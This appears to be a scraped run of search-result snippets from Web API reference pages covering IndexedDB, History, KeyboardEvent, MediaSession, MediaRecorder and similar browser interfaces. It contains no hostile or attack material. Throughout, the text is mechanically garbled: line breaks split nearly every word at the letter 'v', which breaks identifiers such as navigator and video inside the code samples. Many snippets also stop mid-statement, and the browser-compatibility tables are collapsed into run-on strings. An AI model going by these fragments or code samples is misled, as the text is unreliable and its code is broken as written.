view of html drag and drop includes a description of the interfaces, basic steps to add drag-and-drop support to an application, and an interoperability summary of the interfaces.
...to change that beha
vior so that an element becomes a drop zone or is droppable, the element must have both ondragover and ondrop event handler attributes.
... examples and demos copying and mo
ving elements with the datatransfer interface copying and mo
ving elements with the datatransferlistitem interface dragging and dropping files (firefox only): http://jsfiddle.net/9c2ef/ dragging and dropping files (all browsers): https://jsbin.com/hiqasek/ a parking project using the drag and drop api: https://park.glitch.me/ (you can edit here) specifications specification st...
...atus comment html li
ving standard li
ving standard see also drag operations dragging and dropping multiple items recommended drag types html5 li
ving standard: drag and drop drag and drop interoperability data from caniuse ...
Headers - Web APIs
these actions include retrie
ving, setting, adding to, and remo
ving headers from the list of the request's headers.
... you can retrieve a headers object
via the request.headers and response.headers properties, and create a new headers object using the headers.headers() constructor.
... headers.foreach() executes a pro
vided function once for each array element.
... li
ving standard ...
History.pushState() - Web APIs
whenever the user na
vigates to the new state, a popstate event is fired, and the state property of the event contains a copy of the history entry's state object.
...alternatively, you could pass a short title for the state to which you're mo
ving.
... javascript const state = { 'page_id': 1, 'user_id': 5 } const title = '' const url = 'hello-world.html' history.pushstate(state, title, url) specifications specification status comment html li
ving standardthe definition of 'history.pushstate()' in that specification.
... li
ving standard no change from html5.
IDBCursor.key - Web APIs
for a complete working example, see our idbcursor example (
view example live.) function displaydata() { var transaction = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cur...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetkeychrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
... opera full support 45safari full support 10.1web
view android full support 58chrome android full support 58firefox android ?
IDBDatabase.createObjectStore() - Web APIs
you can use the property to uniquely identify indi
vidual objects in the store.
...has been deleted or removed.) in firefox pre
vious to version 41, an invalidstateerror was raised in this case as well, which was misleading; this has now been fixed (see bug 1176165.) constrainterror an object store with the given name (based on case-sensitive comparison) already exists in the connected database.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcreateobjectstorechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
databases - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdatabases experimentalchrome full support 71edge full support 79firefox no support nonotes no support nonotes notes see bug 934640.ie ...
... no support noopera full support 58safari no support noweb
view android full support 71chrome android full support 71firefox android no support nonotes no support nonotes notes see bug 934640.opera android full support yessafari ios no support nosamsung internet android full support 10.0legend full support ...
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.see implementation notes.see implementation notes.
IDBIndex.count() - Web APIs
dataerror the key or key range pro
vided contains an invalid key.
...for a complete working example, see our idbindex-example demo repo (
view the example live.) function displaydatabyindex() { tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); var countrequest = myindex.count(); countrequest.onsuccess = function() { console.log(countrequest.result); } myindex.opencursor().
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcountchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yes full support yes no support ?
IDBIndex.get() - Web APIs
dataerror the key or key range pro
vided contains an invalid key.
...for a complete working example, see our idbindex-example demo repo (
view the example live.) function displaydatabyindex() { tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); var getrequest = myindex.get('bungle'); getrequest.onsuccess = function() { console.log(getrequest.result); } myindex.opencursor().
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yes full support yes no support ?
IDBIndex.getKey() - Web APIs
dataerror the key or key range pro
vided contains an invalid key.
...for a complete working example, see our idbindex-example demo repo (
view the example live.) function displaydatabyindex() { tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); var getkeyrequest = myindex.getkey('bungle'); getkeyrequest.onsuccess = function() { console.log(getkeyrequest.result); } myindex.o...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetkeychrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yes full support yes no support ?
IDBIndex.name - Web APIs
for a complete working example, see our idbindex-example demo repo (
view the example live).
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnamechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yes full support yes no support ?
... web
view android full support yeschrome android full support yesfirefox android ?
IDBIndex.openCursor() - Web APIs
dataerror the key or key range pro
vided contains an invalid key.
...for a complete working example, see our idbindex-example demo repo (
view the example live.) function displaydatabyindex() { tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var tablerow = document.creat...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetopencursorchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firef...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yes full support yes no support ?
IDBObjectStore.clear() - Web APIs
clearing an object store consists of remo
ving all records from the object store and remo
ving all records in indexes that reference the object store.
...for a full working example, see our to-do notifications app (
view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetclearchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yes full support yes no support ?
IDBObjectStore.count() - Web APIs
the count() method of the idbobjectstore interface returns an idbrequest object, and, in a separate thread, returns the total number of records that match the pro
vided key or idbkeyrange.
... if no arguments are pro
vided, it returns the total number of records in the store.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcountchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yes full support yes no support ?
IDBObjectStore.delete() - Web APIs
bear in mind that if you are using a idbcursor, you can use the idbcursor.delete() method to more efficiently delete the current record — without ha
ving to explicitly look up the record's key.
...for a full working example, see our to-do notifications app (
view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdeletechrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yes full support yes no support ?
IDBObjectStore.keyPath - Web APIs
if this property is null, the application must pro
vide a key for each modification operation.
...for a full working example, see our to-do notifications app (
view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetkeypathchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yes full support yes no support ?
IDBObjectStore.name - Web APIs
for a full working example, see our to-do notifications app (
view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnamechrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yes full support yes no support ?
... web
view android full support yeschrome android full support yesfirefox android full support 49opera android full support yessafari ios ?
IDBObjectStoreSync - Web APIs
the idbobjectstoresync interface of the indexeddb api pro
vides synchronous access to an object store of a database.
... method over
view any add (in any value, in optional any key) raises (idbdatabaseexception); idbindexsync createindex (in domstring name, in domstring storename, in domstring keypath, in optional boolean unique); any get (in any key) raises (idbdatabaseexception); idbcursorsync opencursor (in optional idbkeyrange range, in optional unsigned short direction) raises (idbdatabaseexception); idbindexsync openindex (in domstring name) raises (idbdatabaseexception); any put (in any value, in optional any key) raises (idbdatabaseexception); void remove (in any key) raises (idbdatabaseexception); void removeindex (in domstring indexname) raises (idbdatabaseexception); attributes attribute type descript...
...if this attribute is set to null, then the application must pro
vide a key for each modification operation.
... snapshot_read 2 any read operations must access a snapshot
view of the data, which cannot change once it is created.
IDBOpenDBRequest.onupgradeneeded - Web APIs
for a full working example, see our to-do notifications app (
view example live.) var db; // request version 3 of the database.
...either one has not been created // before, or a new version number has been submitted
via the // window.indexeddb.open line above.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonupgradeneededchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yes full support yes no support ?
IDBRequest.onerror - Web APIs
for a full working example, see our to-do notifications app (
view example live.) var title = "walk dog"; // open up a transaction as usual var objectstore = db.transaction(['todolist'], "readwrite").objectstore('todolist'); // get the to-do list object that has this title as it's title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objects...
.../ into the database var updatetitlerequest = objectstore.put(data); // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; objectstoretitlerequest.onerror = function() { // if an error occurs with the request, log what it is console.log("there has been an error with retrie
ving your data: " + objectstoretitlerequest.error); // todo what about event parameter into onerror()?
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonerrorchrome full support 24 full support 24 full support 23prefixed prefixed implemented with the vendor prefix: webkitedge full support ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
IDBTransaction.abort() - Web APIs
at the end, we simply abort any acti
vity done under the current transaction using abort().
... for a full working example, see our to-do notifications app (
view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetabortchrome full support 24 full support 24 full support 23prefixed prefixed implemented with the vendor prefix: webkitedge full support ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
IDBTransaction.error - Web APIs
for a full working example, see our to-do notifications app (
view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung interneterrorchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yes full support yes no support ?
...rchrome full support 48edge full support ≤18firefox full support 58ie no support noopera full support yessafari no support noweb
view android full support 48chrome android full support 48firefox android full support 58opera android full support yessafari ios no support nosamsung internet android ...
IDBTransaction.onabort - Web APIs
the onabort event handler of the idbtransaction interface handles the abort event, fired, when the current transaction is aborted
via the idbtransaction.abort method.
...for a full working example, see our to-do notifications app (
view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonabortchrome full support 24 full support 24 full support 23prefixed prefixed implemented with the vendor prefix: webkitedge full support ...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android ...
IDBVersionChangeEvent.newVersion - Web APIs
these events are fired
via the custom idbversionchangeevent interface.
... for a full working example, see our to-do notifications app (
view example live.) var note = document.queryselector("ul"); // in the following line, you should include the prefixes of // implementations you want to test.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnewversionchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firef...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yes full support yes no support ?
ImageBitmapRenderingContext - Web APIs
the imagebitmaprenderingcontext interface is a canvas rendering context that pro
vides the functionality to replace the canvas's contents with the given imagebitmap.
...this was pre
viously named transferimagebitmap(), but was renamed in a spec change.
... specifications specification status comment html li
ving standardthe definition of 'imagebitmaprenderingcontext' in that specification.
... li
ving standard ...
ImageData() - Web APIs
the imagedata() constructor returns a newly instantiated imagedata object built from the typed array given and ha
ving the specified width and height.
...the imagedata constructor specifies a width of 200 for the new object, so its height defaults to 10,000 di
vided by 200, which is 50.
... i = 0; i < arr.length; i += 4) { arr[i + 0] = 0; // r value arr[i + 1] = 190; // g value arr[i + 2] = 0; // b value arr[i + 3] = 255; // a value } // initialize a new imagedata object let imagedata = new imagedata(arr, 200); // draw image data to the canvas ctx.putimagedata(imagedata, 20, 20); result specification specification status comment html li
ving standardthe definition of 'imagedata()' in that specification.
... li
ving standard initial definition.
firesTouchEvents - Web APIs
the inputde
vicecapabilities.firestouchevents read-only property returns a boolean that indicates whether the de
vice dispatches touch events.
...this doesn't necessarily mean the de
vice is a touch screen.
... for example, stylus and mouse de
vices typically generate touch events on mobile browsers.
... syntax var boolean = inputde
vicecapabilities.firestouchevents returns a boolean example mybutton.addeventlistener('mousedown', function(e) { if (!e.sourcecapabilities.firestouchevents) mybutton.classlist.add("pressed"); }); specifications specification status comment inputde
vicecapabilitiesthe definition of 'firetouchevents' in that specification.
InputEvent.getTargetRanges() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgettargetranges experimentalchrome full support 60edge full support 79firefox no support noie no support noopera full s...
...upport 47safari full support 10.1web
view android full support 60chrome android full support 60firefox android no support noopera android full support 44safari ios full support 10.3samsung internet android full support 8.0legend full support full support no support no supportexperimental.
... expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
KeyboardEvent.code - Web APIs
if the input de
vice isn't a physical keyboard, but is instead a
virtual keyboard or accessibility de
vice, the returned value will be set by the browser to match as closely as possible to what would happen with a physical keyboard, to maximize compatibility between physical and
virtual input de
vices.
... this property is useful when you want to handle keys based on their physical positions on the input de
vice rather than the characters associated with those keys; this is especially common when writing code to handle input for games that simulate a gamepad-like en
vironment using keys on the keyboard.
...shipsize contains the size of the ship the player is mo
ving around, for convenience.
...that would allow both smoother and faster movement, but would also allow the player to be mo
ving and steering at the same time.
KeyboardEvent.location - Web APIs
the keyboardevent.location read-only property returns an unsigned long representing the location of the key on the keyboard or other input de
vice.
... dom_key_location_numpad 3 the key was on the numeric keypad, or has a
virtual key code that corresponds to the numeric keypad.
... dom_key_location_mobile obsolete since gecko 38 4 the key was on a mobile de
vice; this can be on either a physical keypad or a
virtual keyboard.
... dom_key_location_joystick obsolete since gecko 38 5 the key was a button on a game controller or a joystick on a mobile de
vice.
KeyboardLayoutMap - Web APIs
the keyboardlayoutmap interface of the the keyboard api is a map-like object with functions for retrie
ving the string associated with specific physical keys.
... properties keyboardlayoutmap.entries read only returns an array of a given object's own enumerable property [key, value] pairs, in the same order as that pro
vided by a for...in loop (the difference being that a for-in loop enumerates properties in the prototype chain as well).
... methods keyboardlayoutmap.foreach() read only executes a pro
vided function once for each element of keyboardlayoutmap.
... var keyboard = na
vigator.keyboard; keyboard.getlayoutmap() .then(keyboardlayoutmap => { var upkey = keyboardlayoutmap.get('keyw'); window.alert('press ' + upkey + ' to move up.'); }) specifications specification status comment keyboard mapthe definition of 'keyboardlayoutmap' in that specification.
KeyframeEffect.setKeyframes() - Web APIs
element.animate([ { // from opacity: 0, color: "#fff" }, { // to opacity: 1, color: "#000" } ], 2000); offsets for each keyframe can be specified by pro
viding an offset value.
... element.animate([ { opacity: 1 }, { opacity: 0.1, offset: 0.7 }, { opacity: 0 } ], 2000); note: offset values, if pro
vided, must be between 0.0 and 1.0 (inclusive) and arranged in ascending order.
... the easing to apply between keyframes can be specified by pro
viding an easing value as illustrated below.
...the pro
vided values will be spaced out independently.
LinearAccelerationSensor.LinearAccelerationSensor() - Web APIs
the linearaccelerationsensor constructor creates a new linearaccelerationsensor object which pro
vides on each reading the acceleration applied to the de
vice along all three axes, but without the contribution of gra
vity.
...the actual reading frequency depends on de
vice hardware and consequently may be less than requested.
... referenceframe: either 'de
vice' or 'screen'.
... the default is 'de
vice'.
LocalFileSystem - Web APIs
so to request storage, you need to do something like the following: var requestedbytes = 1024*1024*10; // 10mb na
vigator.webkitpersistentstorage.requestquota ( requestedbytes, function(grantedbytes) { window.requestfilesystem(persistent, grantedbytes, oninitfs, errorhandler); }, function(e) { console.log('error', e); } ); your user must grant your app permission to store data locally before your app can use persistent storage.
... window.requestfilesystem(window.persistent, 1024*1024,oninitfs,errorhandler); method over
view void requestfilesystem (in unsigned short type, in unsigned long long size, in filesystemcallback successcallback, in optional errorcallback errorcallback); void resolvelocalfilesystemurl (in domstring url, in entrycallback successcallback, in optional errorcallback errorcallback); constants constant value description temporary 0 ...
... successcallback the success callback that is called when the browser pro
vides a file system.
... successcallback the success callback that is called when the browser pro
vides the file or directory for the supplied url.
MIDIAccess - Web APIs
the midiaccess interface of the web midi api pro
vides methods for listing midi input and output de
vices, and obtaining access to those de
vices.
... properties midiaccess.inputs read only returns an instance of midiinputmap which pro
vides access to any available midi input ports.
... midiaccess.outputs read only returns an instance of midioutputmap which pro
vides access to any available midi output ports.
... examples na
vigator.requestmidiaccess() .then(function(access) { // get lists of available midi controllers const inputs = access.inputs.values(); const outputs = access.outputs.values(); access.onstatechange = function(e) { // print information about the (dis)connected midi controller console.log(e.port.name, e.port.manufacturer, e.port.state); }; }); specifications specification status comment web midi api working draft initial definition.
MSManipulationEvent.initMSManipulationEvent() - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... syntax msmanipulationevent.initmsmanipulationevent(typearg, canbubblearg, cancelablearg,
viewarg, detailarg, laststate, currentstate); parameters typearg [in] type: domstring the type of the event being created.
...
viewarg [in] type: abstract
view the
view in which the event is taking place.
... example interface msmanipulationevent extends uievent { readonly currentstate: number; readonly inertiadestinationx: number; readonly inertiadestinationy: number; readonly laststate: number; initmsmanipulationevent(typearg: string, canbubblearg: boolean, cancelablearg: boolean,
viewarg: window, detailarg: number, laststate: number, currentstate: number): void; readonly ms_manipulation_state_active: number; readonly ms_manipulation_state_cancelled: number; readonly ms_manipulation_state_committed: number; readonly ms_manipulation_state_dragging: number; readonly ms_manipulation_state_inertia: number; readonly ms_manipulation_state_preselect: number; ...
Magnetometer.Magnetometer() - Web APIs
the magnetometer constructor creates a new magnetometer object which returns information about the magnetic field as detected by a de
vice’s primary magnetometer sensor.
...the actual reading frequency depends on de
vice hardware and consequently may be less than requested.
... referenceframe: either 'de
vice' or 'screen'.
... the default is 'de
vice'.
MediaElementAudioSourceNode - Web APIs
the mediaelementaudiosourcenode interface represents an audio source consisting of an html5 <audio> or <
video> element.
...when the mouse pointer is moved, the updatepage() function is invoked, which calculates the current gain as a ratio of mouse y position di
vided by overall window height.
... you can therefore increase and decrease the volume of the playing music by mo
ving the mouse pointer up and down.
... note: you can also
view this example running live, or
view the source.
MediaKeyStatusMap.entries() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetentries experimentalchrome full support 42edge full support 16firefox ?
... web
view android full support 43chrome android full support 42firefox android ?
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
MediaKeyStatusMap.forEach() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetforeach experimentalchrome full support 42edge full support 13firefox ?
... web
view android full support 43chrome android full support 42firefox android ?
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
MediaKeyStatusMap.get() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetget experimentalchrome full support 42edge full support 13firefox full support yesie ?
... web
view android full support 43chrome android full support 42firefox android full support yesopera android full support 29safari ios ?
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
MediaKeyStatusMap.has() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internethas experimentalchrome full support 42edge full support 13firefox full support yesie ?
... web
view android full support 43chrome android full support 42firefox android full support yesopera android full support 29safari ios ?
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
MediaKeyStatusMap.keys() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetkeys experimentalchrome full support 42edge full support 16firefox ?
... web
view android full support 43chrome android full support 42firefox android ?
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
MediaKeyStatusMap.size - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsize experimentalchrome full support 42edge full support 13firefox full support yesie ?
... web
view android full support 43chrome android full support 42firefox android full support yesopera android full support 29safari ios ?
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
MediaKeyStatusMap.values() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetvalues experimentalchrome full support 42edge full support 16firefox ?
... web
view android full support 43chrome android full support 42firefox android ?
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
MediaMetadata.album - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetalbum experimentalchrome full support 57edge no support nofirefox full support 71ie no support noopera full support ...
... web
view android no support nochrome android full support 57firefox android ?
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
MediaMetadata.artist - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetartist experimentalchrome full support 57edge no support nofirefox full support 71ie no support noopera full support ...
... web
view android no support nochrome android full support 57firefox android ?
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
MediaMetadata.artwork - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetartwork experimentalchrome full support 57edge no support nofirefox full support 71ie no support noopera full support ...
... web
view android no support nochrome android full support 57firefox android ?
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
MediaMetadata.title - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettitle experimentalchrome full support 57edge no support nofirefox full support 71ie no support noopera full support ...
... web
view android no support nochrome android full support 57firefox android ?
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
MediaPositionState.playbackRate - Web APIs
this information can then, in turn, be used by the user agent to pro
vide a user interface which displays media playback information to the
viewer.
... for example, a browser might use this information along with the position property and the na
vigator.mediasession.playbackstate, as well as the session's metadata to pro
vide an integrated common user interface showing the currently playing media as well as standard pause, play, forward, reverse, and other controls.
...it begins by creating a mediapositionstate object, then submits it to the browser it by calling na
vigator.mediasession.setpositionstate().
... let positionstate = { duration: mymediaduration; playbackrate: 2.0; position: mymediaposition; }; na
vigator.mediasession.setpositionstate(positionstate); note the value 2.0 as the playbackrate.
MediaPositionState.position - Web APIs
the mediapositionstate dictionary's position property is used when calling the mediasession method setpositionstate() to pro
vide the user agent with the current playback position, in seconds, of the currently-playing media.
... this information is then, in turn, used by the user agent to pro
vide a user interface which displays media playback information to the
viewer.
... for example, a browser might use this information along with the position property and the na
vigator.mediasession.playbackstate, as well as the session's metadata to pro
vide an integrated common user interface showing the currently playing media as well as standard pause, play, forward, reverse, and other controls.
... let positioninterval = window.setinterval(() => { if (mymedia.isplaying) { na
vigator.mediasession.setpositionstate({ duration: mymedia.trackdurationinseconds, playbackrate: mymedia.playbackrate, position: mymedia.trackplaypositioninseconds }); } else { window.clearinterval(positioninterval); } }, 1000); specifications specification status comment media session standardthe definition of 'mediapositionstate.position' ...
MediaRecorder.mimeType - Web APIs
this string may include the codecs parameter, gi
ving details about the codecs and the codec configurations used by the media recorder.
... if (na
vigator.mediade
vices) { console.log('getusermedia supported.'); var constraints = { audio: true,
video: true }; var chunks = []; na
vigator.mediade
vices.getusermedia(constraints) .then(function(stream) { var options = { audiobitspersecond: 128000,
videobitspersecond: 2500000, mimetype: '
video/mp4' } var mediarecorder = new mediarecorder(stream,options); m = mediarecorder; m.mimetype; // would return '
video/...
... }) .catch(function(error) { console.log(error.message); }); changing line 14 to the following causes mediarecorder to try to use avc constrained baseline profile level 4 for
video and aac-lc (low complexity) for audio, which is good for mobile and other possible resource-constrained situations.
... mimetype: '
video/mp4; codecs="avc1.424028, mp4a.40.2"' assuming this configuration is acceptable to the user agent, the value returned later by m.mimetype would then be
video/mp4; codecs="avc1.424028, mp4a.40.2".
MediaSession.metadata - Web APIs
the metadata property of the mediasession interface contains a mediametadata object pro
viding descriptive information about the currently playing media, or null if the metadata has not been set.
... this metadata is pro
vided by the browser to the de
vice for presentation in any standard media control user interface the de
vice might offer.
... syntax var mediametadata = na
vigator.mediasession.metadata; na
vigator.mediasession.metadata = mediametadata; value an instance of mediametadata containing information about the media currently being played.
... example the following example creates a new media session and assigns action handlers to it: if ('mediasession' in na
vigator){ na
